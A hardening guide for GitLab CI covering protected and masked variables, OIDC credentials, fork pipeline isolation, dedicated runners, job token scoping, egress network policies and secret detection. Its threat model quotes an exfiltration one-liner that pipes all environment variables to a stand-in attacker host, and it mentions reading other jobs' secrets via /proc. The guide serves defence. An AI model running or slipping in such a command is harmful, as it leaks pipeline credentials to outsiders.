GitLab CI Security: Protected Variables, Runner Isolation, and Pipeline Hardening
Problem
GitLab CI is one of the most widely deployed CI/CD platforms in self-managed environments. Pipeline jobs have access to environment variables containing deployment credentials, cloud tokens, and production secrets. Every .gitlab-ci.yml commit is a potential attack vector: a developer (or an attacker with developer access) can modify the pipeline to exfiltrate secrets.
Common security failures:
- Unprotected CI/CD variables. GitLab variables can be marked “Protected” — visible only to pipelines running on protected branches — or left unprotected, visible to all branches and merge request pipelines. Production secrets stored as unprotected variables are accessible to any developer who can create a branch and run a pipeline.
- Shared runners with excessive permissions. GitLab.com shared runners and self-managed group runners run jobs from all projects. A malicious pipeline on one project can attempt to pivot to other projects’ secrets by exploiting runner metadata or shared filesystem state.
CI_JOB_TOKENscope too broad. GitLab’sCI_JOB_TOKENauthenticates inter-project API calls during CI. Without explicit scope restrictions, any pipeline job can authenticate as the project to access packages, container registries, and API endpoints of other projects in the group.- Merge request pipelines run attacker code. Pipelines triggered by external merge requests (from forked repositories) run
.gitlab-ci.ymlfrom the fork. Without protection, these pipelines have access to protected variables and runners. - DAST/deployment jobs run on unreviewed code. Dynamic testing or deployment jobs run automatically against production targets on every commit, including commits from untrusted branches.
- No pipeline egress control. Jobs can make outbound network calls to arbitrary hosts — exfiltrating secrets to attacker-controlled infrastructure. Without egress controls, a malicious job script can POST all environment variables to an external endpoint.
Target systems: GitLab 16.x+ (self-managed and GitLab.com); GitLab Runner 16.x+ (Docker, Kubernetes, shell executors); GitLab CI/CD Variables (protected, masked); GitLab OIDC for cloud provider authentication.
Threat Model
- Adversary 1 — Unprotected variable extraction: A developer creates a feature branch and modifies
.gitlab-ci.ymlto runenv | curl -X POST attacker.com --data-binary @-. All unprotected CI/CD variables — including production secrets — are exfiltrated. - Adversary 2 — Fork-based pipeline credential theft: An external contributor forks the project and opens a merge request. The merged pipeline (if auto-run) executes on GitLab.com shared runners with access to the target project’s protected variables.
- Adversary 3 — Runner pivot between projects: A compromised job on a shared runner reads
/proc/*/environor Docker socket metadata to discover environment variables from concurrently running jobs from other projects on the same runner. - Adversary 4 —
CI_JOB_TOKENabuse: A pipeline usesCI_JOB_TOKENto authenticate API calls. An attacker who can run a pipeline uses the token to access other projects’ packages, registries, or APIs beyond the intended scope. - Adversary 5 — Deployment job triggered from unreviewed branch: Auto-deploy runs on every push to a development branch. An attacker with developer role pushes a commit that modifies the deploy script to run malicious code in the production environment.
- Access level: Adversaries 1 and 5 need developer role. Adversary 2 needs the ability to fork. Adversary 3 exploits shared runner isolation. Adversary 4 needs pipeline execution access.
- Objective: Extract production credentials; run code in production environment; gain persistent access.
- Blast radius: Unprotected production secrets in CI give any developer access to production infrastructure equivalent to the CD pipeline’s permissions.
Configuration
Step 1: Protect All Production Variables
# GitLab UI / API: mark all production secrets as Protected AND Masked.
# Protected: only visible to pipelines on protected branches/tags.
# Masked: value redacted from job logs.
# Via GitLab API:
curl --request POST \
--header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
--header "Content-Type: application/json" \
--data '{
"key": "AWS_ACCESS_KEY_ID",
"value": "AKIA...",
"protected": true,
"masked": true,
"environment_scope": "production"
}' \
"https://gitlab.example.com/api/v4/projects/$PROJECT_ID/variables"
Variable protection matrix:
| Variable type | Protected | Masked | Environment scope |
|---|---|---|---|
| Production cloud credentials | Yes | Yes | production |
| Staging credentials | Yes | Yes | staging |
| Development API keys | No | Yes | * |
| Public configuration | No | No | * |
Replace long-lived credentials with short-lived OIDC tokens:
# .gitlab-ci.yml — use OIDC for cloud auth (no static credentials needed).
deploy:production:
stage: deploy
environment: production
id_tokens:
AWS_OIDC_TOKEN:
aud: https://gitlab.example.com
script:
- |
# Exchange GitLab OIDC token for AWS credentials.
export $(aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name "gitlab-ci-$CI_JOB_ID" \
--web-identity-token "$AWS_OIDC_TOKEN" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]' \
--output text | awk '{print "AWS_ACCESS_KEY_ID="$1,"AWS_SECRET_ACCESS_KEY="$2,"AWS_SESSION_TOKEN="$3}')
- ./deploy.sh
rules:
- if: $CI_COMMIT_BRANCH == "main" && $CI_PIPELINE_SOURCE == "push"
Step 2: Protected Branches and Deployment Rules
# .gitlab-ci.yml — restrict deployment jobs to protected branches only.
stages:
- test
- build
- deploy
# Test runs on all branches.
test:
stage: test
script: make test
# Build runs on all branches (produces artefact; no secrets needed).
build:
stage: build
script: make build
# Deploy to staging: only on `develop` (protected branch).
deploy:staging:
stage: deploy
environment: staging
script: ./deploy.sh staging
rules:
- if: $CI_COMMIT_BRANCH == "develop"
when: manual # Require manual trigger even on protected branch.
- when: never
# Deploy to production: only on `main` (protected branch), manual.
deploy:production:
stage: deploy
environment: production
script: ./deploy.sh production
rules:
- if: $CI_COMMIT_BRANCH == "main"
when: manual
- when: never
GitLab branch protection (set in repository settings):
Settings → Repository → Protected Branches:
Branch: main
Allowed to merge: Maintainers
Allowed to push and merge: No one (force push disabled)
Require approval from code owners: Yes
Branch: develop
Allowed to merge: Developers + Maintainers
Allowed to push and merge: Developers + Maintainers
Step 3: Fork Pipeline Isolation
Prevent fork pipelines from accessing protected variables:
GitLab UI: Settings → CI/CD → General pipelines:
☑ Limit access to protected variables for pipelines from forked projects: ON
"Fork pipeline" trigger: Block pipelines from forks from running with protected variables
# .gitlab-ci.yml — add explicit rules to block fork pipelines from sensitive jobs.
deploy:production:
rules:
# Only run on pipelines from the same project (not forks).
- if: $CI_PROJECT_NAMESPACE == "my-company" && $CI_COMMIT_BRANCH == "main"
when: manual
- when: never
# Check for fork pipeline in any job.
check-not-fork:
script:
- |
if [ "$CI_PROJECT_ROOT_NAMESPACE" != "$CI_PROJECT_NAMESPACE" ]; then
echo "Fork pipeline detected; aborting"
exit 1
fi
Step 4: Dedicated Runners per Environment
Never share runners between production deployment jobs and general development:
# Register a dedicated production runner with a specific tag.
gitlab-runner register \
--url "https://gitlab.example.com" \
--token "RUNNER_TOKEN" \
--executor docker \
--docker-image "alpine:3.19" \
--tag-list "production-deploy" \
--locked # Lock to specific project; not shared.
# In .gitlab-ci.yml — require the production runner tag.
deploy:production:
tags:
- production-deploy # Only runs on the dedicated runner.
environment: production
script: ./deploy.sh production
Runner configuration hardening:
# /etc/gitlab-runner/config.toml — production runner.
[[runners]]
name = "production-deploy"
url = "https://gitlab.example.com"
token = "RUNNER_TOKEN"
executor = "docker"
limit = 1 # One concurrent job; prevents cross-job interference.
[runners.docker]
image = "alpine:3.19"
privileged = false # Never privileged.
disable_cache = true # No shared cache between jobs.
# No bind mounts to host filesystem.
volumes = ["/cache"] # Cache volume only; not host paths.
pull_policy = ["always"] # Always pull; prevent stale image attacks.
[runners.feature_flags]
network_per_build = true # Isolate each build's network namespace.
Step 5: CI_JOB_TOKEN Scope Restriction
GitLab UI: Settings → CI/CD → Token Access:
Limit CI_JOB_TOKEN access:
☑ Only allow access to THIS project
Allow CI job tokens from the following projects to access this project:
(Add only explicitly approved projects)
# Use CI_JOB_TOKEN only for intended operations.
# Restrict what the token can access in .gitlab-ci.yml.
build:
script:
# Pull a dependency from the same GitLab instance.
- |
docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.example.com
docker pull registry.gitlab.example.com/my-group/base-image:latest
# Do NOT use CI_JOB_TOKEN to authenticate against external services.
# Do NOT log the token value.
Step 6: Pipeline Egress Control
Restrict outbound network access from runner containers:
# kubernetes executor: NetworkPolicy restricting runner pod egress.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: gitlab-runner-egress
namespace: gitlab-runners
spec:
podSelector:
matchLabels:
app: gitlab-runner-job
policyTypes:
- Egress
egress:
# Allow GitLab server (for job reporting).
- to:
- ipBlock:
cidr: 192.0.2.10/32 # GitLab server IP.
ports:
- port: 443
# Allow internal artefact registry.
- to:
- ipBlock:
cidr: 10.0.0.0/8
ports:
- port: 443
- port: 5000
# Allow DNS.
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- port: 53
protocol: UDP
# Block all other egress — prevents secret exfiltration to external hosts.
Step 7: Secret Detection in Pipeline Logs
# Add a secrets detection job to every pipeline.
include:
- template: Security/Secret-Detection.gitlab-ci.yml
secret_detection:
stage: test
variables:
SECRET_DETECTION_HISTORIC_SCAN: "false" # Only scan new commits.
# Custom job to scan for common secret patterns in job logs.
scan-job-logs:
stage: .post
script:
- |
# Scan the most recent job's log for credential patterns.
curl -s --header "PRIVATE-TOKEN: $SCAN_TOKEN" \
"$CI_API_V4_URL/projects/$CI_PROJECT_ID/jobs/$CI_JOB_ID/trace" | \
grep -E 'AKIA[0-9A-Z]{16}|password\s*[:=]\s*\S+|token\s*[:=]\s*\S+' && \
echo "WARNING: Possible credential in job log" || true
allow_failure: true
Step 8: Telemetry
gitlab_ci_pipeline_duration_seconds{project, ref, status} histogram
gitlab_ci_job_duration_seconds{project, job, runner_tag} histogram
gitlab_ci_job_failures_total{project, job, failure_reason} counter
gitlab_runner_jobs_total{runner, state} counter
gitlab_ci_protected_variable_access_total{project, variable} counter
gitlab_ci_fork_pipeline_blocked_total{project} counter
Alert on:
- Any deployment job running on an unprotected branch — indicates rules misconfiguration.
- Fork pipeline attempting to access protected variables — alert and investigate.
CI_JOB_TOKENused to access a project outside the allowed scope — token scope misconfiguration.- Job log scan detects credential pattern — immediate investigation.
- Runner job duration spike — a pipeline job running significantly longer than baseline may be exfiltrating data.
Expected Behaviour
| Signal | Default GitLab CI | Hardened GitLab CI |
|---|---|---|
| Developer branch accesses production secret | Unprotected variable visible to all | Protected variable restricted to main branch |
| Fork pipeline runs deployment | Runs with project’s protected variables | Fork pipeline blocked from protected variables |
| Shared runner used for production deploy | Any project on same runner may interfere | Dedicated tagged runner; locked to project |
CI_JOB_TOKEN cross-project access |
Broad access to group resources | Scoped to specific approved projects |
| Outbound exfiltration in job | No restriction | NetworkPolicy blocks non-approved destinations |
Trade-offs
| Aspect | Benefit | Cost | Mitigation |
|---|---|---|---|
| OIDC over static credentials | No long-lived secrets in variables | Requires cloud provider OIDC configuration | One-time setup; Terraform module for AWS/GCP OIDC trust |
| Dedicated production runners | No cross-project runner interference | Additional runner infrastructure | One runner instance per environment; share within environment |
| Fork pipeline isolation | Prevents credential theft via fork MR | External contributors cannot run pipelines with secrets | Require maintainer to trigger pipeline manually for fork MRs |
| Network egress restriction | Prevents secret exfiltration | Builds cannot reach arbitrary external services | Allowlist required package registries; use artifact caching |
Failure Modes
| Failure | Symptom | Detection | Recovery |
|---|---|---|---|
| Protected variable not propagated | Deployment job fails with missing env var | Job log shows undefined variable error | Check variable is protected AND environment scope matches |
| Runner tag missing | Deployment job queues indefinitely | Job stuck in “pending” state | Add production-deploy tag to runner or fix job tag |
| OIDC token exchange fails | Deployment fails with auth error | Job log shows STS error | Check IAM role trust policy includes GitLab OIDC issuer |
| Fork pipeline blocked legitimately | External contributor cannot test pipeline | Pipeline not triggered | Maintainer manually triggers pipeline after code review |
| Network policy too restrictive | Build fails on package install | Job fails with connection refused | Add package registry IP to egress allowlist |